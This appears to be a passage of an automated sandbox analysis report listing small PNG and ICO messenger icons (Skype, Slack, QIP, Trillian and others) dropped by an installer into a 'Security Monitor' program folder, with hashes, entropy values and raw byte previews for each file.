Preview:	.PNG........IHDR................a....IDATx...O.A...v...aU<..b.@.F8y!..;.J ..{.w)^ML..../-..0!....GBS.=...v.......v...If.....;.......}.9...k......Q[...YV.........y\|.I\....QUb.....^ HN.....F.y...0r#.d...+.>.`.".....\|....:b..sB.xq..~..]$(U.G....M.;?]\|.....0..I.$\|..7.xz.@....R-......../.....,7C.%.<.".....0N.\|. ........[UU]....0....=.f.2........G...C..p.. ....h...(...r...dR.I.]..h{.d...z~......s_.(U\|..(<J ._.<.+.#,.su3.^.Q&.....ir.j.V....E}...C>.o.m...A..;......E..C./..J...!..I.*....8ij...W._.@;..[.....O.......-V.xD8.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-P1FFP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	675
Entropy (8bit):	7.483904311870301
Encrypted:	false
SSDEEP:	12:6v/7doMHmeia+juikJeSnm7XW6rJ5XUkABLVsHAVSjneDkMC1:Ao9La+juxnm55uLPs1
MD5:	BD04877B6C91557B84463719664B0292
SHA1:	6B5783097D914F8A463363843B8D24C6C933DDFE
SHA-256:	B2FE786345D8E1802BAA576C0E359240EA2811BCAB1BADB433743792BB9FAA77
SHA-512:	715C6079A00306A46E221C432336B1A4AD23DA6D8AB6BDE7D9F992DF162AAA04D9332D3BAF84DBD6CBA0D4160DE4DE773F266F556CBBEAA015A5D54DC078D33E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...jIDATx.cd... 6.bQ(.+....o...#.+....gee..\|...o...R.l;....{qg.....5...k.......Qy.)....r..8...4.c..=.Wo.u...8...........tb.J....s..^..S~..c...\..XPQQ.H......>..b......._V.+g..:.N]...........O....._`X.>.........o..&.".^....5..C.M........8y...3f..s..../_...a..>.@Q.PUU....-...6,.>...(.AJJj!..0.,,....!...+ &&&.......xT.S...Z:HC...O.>../,X. .....l.%(...........m..F.W..N....:..SV>X...:q.DGF..@k.].XYYy..Cf..7.J(...e.``...p`.........~...../.....t..O.}P.W.....q....}...;h.....e........A..v.......L....~.. .&0s...{...i...fggO-,,.......={..$......333..3......Kkjj.@...~..kWW..K.N d.8<....;0...[.x5..\.'.i......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-PF9N1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.518492008840673
Encrypted:	false
SSDEEP:	24:XTZmE/ZYQwseqlUQQSbG1tHhRNyYkTHHSD:XTgEGiSnZiL8
MD5:	6F6B30B331D4B1B52218C3EE9F6008E5
SHA1:	99BB8C47F45B605BA74866586F9B2AC64CAE082A
SHA-256:	E5995C8370B5C383F7B3A60F3A79D3A67650A85C3A954D208E4736F4021BE24E
SHA-512:	1BA21D5611D96D7090F3A9E80E1DBBE34C390E02AA7145354F069253B0D440D488D24F385CC2A0A9469A9D5D9EFED10D4D1F15A8D36969497593A2B60903B885
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................................................................................................v.........@...@...........................................p...Xy..........................p...................0...........X{..Y\|..Z~..[...\.....................0.................Wy..Xz..Y\|..Z}..[...\...........i...`.................P.....Wx..Wz..Y{..Z}..Z~..z...................`...j.........0.........Wy..X{..Y\|..Z~..........................`...`.........p.......Xz..Y\|..Z}..............q..........._..._..._.................Y{..Y}..y...........]...]...^...r......._..._...................Y\|..Z~..............\...]...............^...^...................Z}..y...............\...................]...]...................Z}................[...................]...\.........`...0.....d...Y}..........Z~..z...............[...\...p......... .............d...Y\|..Z}..Z}..d...y...Z}..Z}..Z}..e.......................................n...Y\|..Y\|.......

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-PLO9O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-PU4P5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	604
Entropy (8bit):	7.566535696722621
Encrypted:	false
SSDEEP:	12:6v/71+R52wdTd01ObCNVVeNROSj6OjPXgEFE7LEgcuq/yp61MVKCXXN:bR5RG1iwVsRPj68vgvEgcN/RKVBXN
MD5:	4AC295DB7E483693981CDE5340D6DD06
SHA1:	2940C14BCC2C1C975D7DC484C43618F8028350A3
SHA-256:	5DF1EB6894459E748C599DEA4119DBD85F8EE024A7932ADC49E80AED7BC3CDE2
SHA-512:	05562C55530620A0860B6E636C45F035ACAFFF4F468B3F29491D909C795102377F778951033B93A8C143D87D7F779E03381E415B914EB1E8198EB0E838243E18
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...#IDATx.S.k.Q..f7b.j.m).c+.h.F.(.......?@.....x..^..A/J....TAk......&b]-".....yo...evf.........LP9=...........ZH.!.....1..r.*.....u......8bi..$b...~..m,..&k..47=.U..A...Z......M...9N..4V.._C.....o.. b.nN"..OE....d.].1A...\|.C..}85;...@Bp.t.A..wW.B7......&.Q......D..p..}l...Bm..j..K#E..Y.t.pc.._<G....r_...X.;1..w...f.......b...uK..XF..c\|y..{...../a......<...+....F.......r..<..Je..k.y....08v.kk....\|>.r.,.............J...}..f...M.\|'Z.6.m....;3..B'.Mo........pf3.v.....>....4cL&m.F......&1+.... )....kri.......g...ip;...A.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-Q50E1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.954587575587282
Encrypted:	false
SSDEEP:	24:mcyV2d56miiGbKZFG8cZWvl24pZYEYmFMQ05lOo4TTTTTTTTTT3:mcJDbGua8cZOlBUEYA906o4TTTTTTTTX
MD5:	A6AF58DFDF7BCB6AE474DC731AEB0819
SHA1:	353D993129D8C0060BDAFF6B32DACCD1D91F37DE
SHA-256:	62B935FEE25DC4480962834A3AC9B21E285C75FA25EB8BF5288BE4EAEEA8F118
SHA-512:	21259178D3D551E232C63B89DA9F2613F0CB0FF6D4D33A150DDAF6DED6795E277845359ADF228BE2741639838F78DFA56554E0D26A77091BC09361ED18611330
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................~e.....r=/..G8.............................................t@3..........bL..fOb.............lZx.ta..s`..t`..o\..kY..lY..lX..mX.\L>.eP..pX..iRX.........r`D.m..o..m..\|g..yg..yg..zf..zd..u_..oZ..v_..rZ..jTZ.........}j\.r...j...m..v..q`..o]..o\..q]..p..v`..pY..t]..lV[..........p[.q....................................rZ..q\[.........s[.u..........................................r[..r][.........x[.w..............se..........q`..............q[..r^[.........}[.x.......................................mX..wc[..........[.~........................................t^..yd[..........[........................................k..}g..ua[..........[.............................i..~i..uaZ..........Z................v..r..u..o..m..n..~i..vcY..........$......................y..w..s..n..k.zg$.............&..Z..W..X..X..X.~X.zX.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-R0STO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.521572092864423
Encrypted:	false
SSDEEP:	12:6v/7VDZbIJn0vRHCeQgHr8zLKMqUuwmUL27QyFY7:xN0vRHCej+m2bR27QyF6
MD5:	686CF19C035D7BB3523CF7FDF3F39F13
SHA1:	862BDC58F8EB03A07C866566FFCFA7228987899C
SHA-256:	3FDF0CE404773A9703AC716DCA370D349A630E7A2098BE497D0C472CAE80C38B
SHA-512:	7F8EF9F4D6D8AE5E6DAE76DDA7C8B389C3EC1DFE022FDA23790731272EEE7AD209CCD5890D3142B1C7F57D557A1A27202534A3085AD3A734071A898F1E0B6512
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.SMHTa.=w.....!...6-"B..MRB.Q.\.."..U..U.....F:3..X.M..G.t!..KI.T...w;..~.1......~..'...W..K..."n.W.q.....1........tB.G..........\.VE..E...q''.B/.D...\..j.#'~...T-G.c...(..&.DZ.N.+GT.o...~.s..(..g..K..."...t..60..X...fv....~.F.).....H...nv..)...y.`~U......4.....0.]5..l..+..eT7.C....$..u:A...d.....`..%..../.......dh-..?..&.....(....O.)u......$..a.^..A..."Dwk_1...U ...,.i..A.T....3D..._.Z...l$1..p.....A+_l..`.=R..d6.T...K..OSL..f..nu_...g...S.3.L....r........g.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-T5SOE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.739434322498255
Encrypted:	false
SSDEEP:	12:iStQidpNKcrw3FGbVzh8MgzemLqu+kqkng6dPEAaRAdViNSOC09YzmLk:i4xuNYBzh8MkeZLRkng6q/RWmSDKYzR
MD5:	5782C8F6C70B8E884FCB822EEF286EBE
SHA1:	66776EDD49D55F0F440FD5DCCF38FC27147076C2
SHA-256:	C067BD4E1DDB1EDA87201D7BA65BEB416C56A9ED486D17454148E9A013A6BD32
SHA-512:	70366DDABF05D4A60C6AE09266A4911CE61268DE7C3E83292A627344AC048A1510F46B48A566790B986AB1264E3FF38FBCC552A3E60A9249D7F1D12E44657CBD
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....................................................................................................................................................................),).....)().)()R....................................................),)JJMJ.kmk.)().989.................................................!$!.\Y\...101.kmk.....................................! !B!$!.)().wxw.........sqs.kik.RUR{9<9!................)()!!$!.RQR.................................cec.BEB.989.....),).)()................................................989.9<9.!$!.................................................xzx.{y{.)().),).........................................................)().101.........................................................)().),).........................................................!$!.)()ckmk.................................................JIJ.)()J....),).............................................ZYZ.)()s............101{Z]Z...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\none.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	1.0136328376606665
Encrypted:	false
SSDEEP:	12:A555L5rr5r5r5r5Lr5L5r5L5L5555555L5556DGkD7GPMg:CiGEg
MD5:	D71543D4396E09496F7724F2EB51819D
SHA1:	8C60CABA094161202D8FCBF5E787E83E586A73D5
SHA-256:	52440F7AC22968C6FB7AB07ECB382F8F047B4EB3989843BF5F396B965F2BECFE
SHA-512:	1A6A95B7FDD731F6CFB55F62DB567DD4EC162872081B8B19DF9BDE1530765FB4ED683959B43E73C1E222389EFEA7554401188B4AE0D65ED3BAE4CD124C21A982
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\none.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	6.697181871409298
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+aWg7NSRAkPY+kW37wjNaI79UL00H3zSiw2p:6v/78/2VRZbW37wV9UL00N
MD5:	E472E7B1F2BF2829B8625C32CB02B0A8
SHA1:	49275242752EEC7DFB1ED14A2968F02439EAE54D
SHA-256:	FA0F63928ABF3B36BE9D310A257CABD413B7E7B7D7D92A0975C7FAA7CB2F370E
SHA-512:	02E865BF6802EF4B3851E87A3E0C984395D5A90FFD7C6282F858E8ED2A74769BD968C637ABCC710BE3290CD0D947FBC5620FBA3510CB3ABB29991278F20C44B8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.paint.net 4.0.134.[z....IDAT8O....P...J...@ ... ....Hv.@v.D%........`....M^.=Mh8.4.{i.6....8...m.c@.....a..q...l...'..c...R.Aas.qJg1.......;1.....~.....b.....{u.dt...^.....`..:72..Ru'..2..4_......].....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\qip.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.614804652904851
Encrypted:	false
SSDEEP:	24:Biiii8ibi0TiSDiiuYxId1diiiiSiiiwKrkIzpJi4arAJbJbJbJbJDg:Biiii8ibiaiSDiiTxIfdiiiiSiiiwKr2
MD5:	92E919F7716BFEC2191169F9D1513737
SHA1:	E7BEB2821E116084C0A516D754A0C7A534956BD6
SHA-256:	C5CB556AFCF8E5F48AA604646FFE93AEDE2607342C4AA93D70791ED8C4FFFE4B
SHA-512:	574F731D0220B353AEAC4B442E6ADED51CE54A7BE93BF3EFC3A7EB8F15161FAA3A1806C859C585ACCC351195AA0376608A5ED5B126DD552296D2305367008014
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.............................\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....\|\|\|.......=...$..Y...Q......\|\|\|.....\|\|\|.........\|\|\|.\|\|\|.\|\|\|.....\|\|\|.......T...7..n ..`%.....\|\|\|.....\|\|\|.\|\|\|.\|\|\|.\|\|\|.............\|\|\|...../.n...J...(..g'.....\|\|\|.............\|\|\|.\|\|\|.....\|\|\|.....\|\|\|..........a...,..u(.....\|\|\|.....\|\|\|.....\|\|\|.\|\|\|.............\|\|\|.....{....Z...3..z*.....\|\|\|.............\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....'.U...A..t3..o:.....\|\|\|.................................\|\|\|.......Y...7..q...\".....\|\|\|.................................\|\|\|.....{....\...-..r&.....\|\|\|.................................\|\|\|.....o.~...^.-.C.=.>.....\|\|\|.................................\|\|\|.........................\|\|\|.....................................\|\|\|.....\|\|\|.}}}.\|\|\|.\|\|\|.........................................\|\|\|.....\|\|\|...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\qip.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	488
Entropy (8bit):	7.3920224953533245
Encrypted:	false
SSDEEP:	12:6v/7drHlKbwPKM5RMujiE9hN+clw+798b7w6sJ:orHkbwSwMujiE1+V+JukJ
MD5:	694A53E27D606EC219A2701C6DD6926C
SHA1:	E2EF3DA049160DB18AC5AC2D770B3F05F219722A
SHA-256:	0AD6EB5F37D593E9096640D5C0440D108BE85DCBB0C726CB5E0C8802E1B3421B
SHA-512:	B246D42344E90922EFCCFAB836BADC30DBA8E370BEE29E03524B0310FCDC9FEB727BEF32EDB695DD42B72FC99543520B91D8179A83ECC479C709DB9077861216
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..K.a....[J..............D.4...I...Q8.iT.......D$-EC.%G.IP....R+.....4.{....s<......-....!.#H=..p........r....!...z=l6....o.8..$.T}...........N'...\....e.3...C8.n..3..R..-y.....j0cX.x.o...4...#!>!u...X..".....V+.!..<#{E.R.aj....J...,,....O.N..8O.C"... ..6R.l6.7B.....9..%.{.b.L..C.ET..v.=....P..x'.....V.s.V...A<w...9...\....T..E...\|...d;`....,G..O..#i..PD6.....5....n....4..<2.4......`.../S..u.>..;._........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\skype.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.042561065627236
Encrypted:	false
SSDEEP:	12:Fw3//////oXgAo////////go/P/wK/////YTQRY9K///pLKe//v7WVh5y//ze2JW:7BQC9BDRClcc3TIVBw0CC/6upx8y/V
MD5:	58BB5428EE336A048C0EAEDD11B08CBE
SHA1:	E40B41DCE19B4CEE84943905ACC31F0B624A22DC
SHA-256:	619AB6CC1EB6D48676BA555BFEC94798B8E043052967FAD42356E9D8BFCD08D9
SHA-512:	1424FE21796F05B1BB963F857BE61BD805775BC5F56B1A5ADBA8372057AEAFE01ED559EE9F29212BB74D9A1BF90F4F44DCC27AE09D1A02A674094BF8D7FA2045
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................................................................................................../............../......................................................./.............._.............................................._................/...........................................................................................O...........`...P...........o...........................0...... .........O...................0...................."...a..............p......................................................................./....+..1...q..............X..1..1..1..1..(............(...H...H.............H...H..........j...H................Z...`...`...j...........................s...M................p...w...w...w.........................`......`.............P...............\|.........s...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\skype.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	563
Entropy (8bit):	7.517174524579319
Encrypted:	false
SSDEEP:	12:6v/7w//AIiO/vrFWdRdGBvXRwnHbMwigmsA7F9fS6ofSZHRQX+K:FB/vrEDdGh0ig8zKzSFk+K
MD5:	DB972EE37A5D0AEF2AEA2FE741B82C1D
SHA1:	C286B9CFEDA3CB6D3E19E1D7747790C52D84D377
SHA-256:	6A09E141A38F22AF46750BA3186AB260B0C566DDCA209B083623D8305BDF14A2
SHA-512:	9F35E67F88A4A250F8F983C8273DFD76F07A8CEEFBF54BA97D73FD1AB4C62508D8999AACD204E73CD04B86A0556AF895CA4BC07A722FB3D6143B7B07FF20BFF6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx...O.A...v...aU<..b.@.F8y!..;.J ..{.w)^ML..../-..0!....GBS.=...v.......v...If.....;.......}.9...k......Q[...YV.........y\|.I\....QUb.....^ HN.....F.y...0r#.d...+.>.`.".....\|....:b..sB.xq..~..]$(U.G....M.;?]\|.....0..I.$\|..7.xz.@....R-......../.....,7C.%.<.".....0N.\|. ........[UU]....0....=.f.2........G...C..p.. ....h...(...r...dR.I.]..h{.d...z~......s_.(U\|..(<J ._.<.+.#,.su3.^.Q&.....ir.j.V....E}...C>.o.m...A..;......E..C./..J...!..I.*....8ij...W._.@;..[.....O.......-V.xD8.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\slack.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.568471936906983
Encrypted:	false
SSDEEP:	24:EsvbDZdGE4mTfyxt6fSgSgd7+WmhOXYvTTT5:jH8mm6KXkSW1OTTT5
MD5:	60EEE3F506D7E7F1A87845F441D2FB09
SHA1:	E3D9A990606A52FB057237EB1F1435605CDDF360
SHA-256:	E4C99A376C5625C022A1CEE0422382E58516350B5602779286131579DDBFD108
SHA-512:	54CE729C0033D0E3C5ABF33D0F67BC5E9032A4374CC274E978F1129AE44276D6AE58B83DCE6CCFE72CA3681B3F3BEB6FDB0928843D6246180AACF50A2BDED936
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................KKK)...i...........iKKK)................................\\\/..............................\\\/....................\|\|\|J........................................~~~I............\\\/................Z....s..w.......................\\\/........................r..Z...._..~...\..........................QQQ).................r..Z...._..............................QQQ)...i........Z....U...{..Z....g..{..............................i............n...y.......q..........n...g...g...y..............................p...p...x.....................}...............i.........6...6...6...6......p.}........\.}.............hQQQ)..........................g.}.....................QQQ).........................h......h.}.............................^^^..................6......y.}..................eee+...............H.......................................H....................^^^..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\slack.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.696472050125109
Encrypted:	false
SSDEEP:	12:6v/7MV8c2Qwrnehd6jw2pCreHWZJl2TKpwsC/eYvbojK1YOfjypI2Sc6jisxYw3Y:ycajeH61peeHauKVOFvbp7gb65Xm1
MD5:	27858239558F8642F02A7770829F8325
SHA1:	13BA5FC4427044C1343D62F4F9D552C6C62B18B6
SHA-256:	C470C09448A1BFBDD59F53A6E4C563E9584FF8CA083895A4887ABBAA39EDB823
SHA-512:	4E0A4AC0E33EA15BC546D56D552A3C1A8995DF8D319418D6E6CA066FC25CA8EB9E9A77F1373D4A7236BE1F5B0FE0DFEE9D62F3F559CFE3C0B2311FC0C830EA45
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.mSkHSa.~..9..Q.$.NQ1.2... Z.)+.H.4..K.R.......`..y..BfXV:..vQ,.()4..l.R......:.cf..9..{..y..y..\|....B....E"Q.{a4....wuu.0G.g1...T.WUU....f..Az..\.Z........u.'.QQQq....A ...q.0`.......A.W$.;.?R...fP.T..~...`........ ..M..x8kG.?.......' ',.c......dF.g..{zzZ#.H.[r'.P.XG....L......AGq+J.n.i.%444.`.....1nq.......+...\.....MS.@........\|.><.....DOOO^bbb.+......u...0..../..>....&~..@......G......-].]h`.^vl.,d.....p...1(.O.M?........M.`ll......).X\..^'._!\|...\.....x...?.........GGG....yIIIu..X....X$.....@.....%8..F.,.).....:7...q.m...-..).-..v.Ap...\.mx.M......7.P(..5.t.zf.......R......i.....^~.n....5222.3..T[[....=[./`..0=....6~..?,.<I&X......X.n+...%...hX+..V..>...2C.c.4..(...s.Z.....s[y..Q"-))).........'L..3....i[.e2YHVVV.g.....i...q....N...W....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\trillian.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.304963365030796
Encrypted:	false
SSDEEP:	24:cKwiwjHRFNgmsPn71386ICxQo0hkNNNNN9:cMwjxFpi386Yo0ib
MD5:	19A1D5E299A9AEEF8E449AE555935968
SHA1:	E7C1EA89DE88FEE6B616ABBE5365C5AA3E42F672
SHA-256:	27CC231887F86DDB6FF938C1FBBC2CE319057BF90382B764AF86ED3F9C47CCB8
SHA-512:	973CCD95A012657F00B195AF3558E5E67B2AD194F9261EC3E8FD9FFC4F423E10A730E4D0ABFC4243F91FAD35097BE09D1DD0D1646CFCF1821F1928E23015CB8E
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................................................u...................U...................................@'''.....................[[[....U...........................5kkk.............................OOO.........................))).................J4..:)..@@@........................................qqq.SV..w.,...+.....oN...............................*..............\|./...<...@.mL...........................@...j....bbb.0!........N........s0.....aaa%...........U....[[[.........KKK..m...B.....u.....aaa%............zzz......................................_...............U................GGG.....\\\.PPP.............................OOO.........@@@.6C..h...}...>...........................................J4....+.{.....,.............................................HHH.l...-...I...~..D.................................333.........lL.............f.KKK0............................... ggg..........t......T.aaaJ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\trillian.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	675
Entropy (8bit):	7.483904311870301
Encrypted:	false
SSDEEP:	12:6v/7doMHmeia+juikJeSnm7XW6rJ5XUkABLVsHAVSjneDkMC1:Ao9La+juxnm55uLPs1
MD5:	BD04877B6C91557B84463719664B0292
SHA1:	6B5783097D914F8A463363843B8D24C6C933DDFE
SHA-256:	B2FE786345D8E1802BAA576C0E359240EA2811BCAB1BADB433743792BB9FAA77
SHA-512:	715C6079A00306A46E221C432336B1A4AD23DA6D8AB6BDE7D9F992DF162AAA04D9332D3BAF84DBD6CBA0D4160DE4DE773F266F556CBBEAA015A5D54DC078D33E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...jIDATx.cd... 6.bQ(.+....o...#.+....gee..\|...o...R.l;....{qg.....5...k.......Qy.)....r..8...4.c..=.Wo.u...8...........tb.J....s..^..S~..c...\..XPQQ.H......>..b......._V.+g..:.N]...........O....._`X.>.........o..&.".^....5..C.M........8y...3f..s..../_...a..>.@Q.PUU....-...6,.>...(.AJJj!..0.,,....!...+ &&&.......xT.S...Z:HC...O.>../,X. .....l.%(...........m..F.W..N....:..SV>X...:q.DGF..@k.].XYYy..Cf..7.J(...e.``...p`.........~...../.....t..O.}P.W.....q....}...;h.....e........A..v.......L....~.. .&0s...{...i...fggO-,,.......={..$......333..3......Kkjj.@...~..kWW..K.N d.8<....;0...[.x5..\.'.i......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\windows live messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.984582163595734
Encrypted:	false
SSDEEP:	24:ltjzPCZMaBUC2R0pwXqeCvJX/JutpSu39Gl/GofW9y88rk:ltj05gBXqeCJ/8pSx/Gp9y88w
MD5:	4EAA9A0B583BB8C8A369753DBD0DD0EB
SHA1:	2D8F80DF55ADB806651E9B90C32C287825EFA9B6
SHA-256:	EABEFD31E31D5141F75E760FCF96F14844F0824BD20C3FAD28C6E7C6AF4342FB
SHA-512:	B4B5CE8697B0B195F5DFF361B7822207CBC8BB07A3318154A4652A663F9715958770B55ED9D8B0F5EE37AC5BCDD19C4D2389E7D644187B86762565ED27613D8D
Malicious:	false
Reputation:	unknown
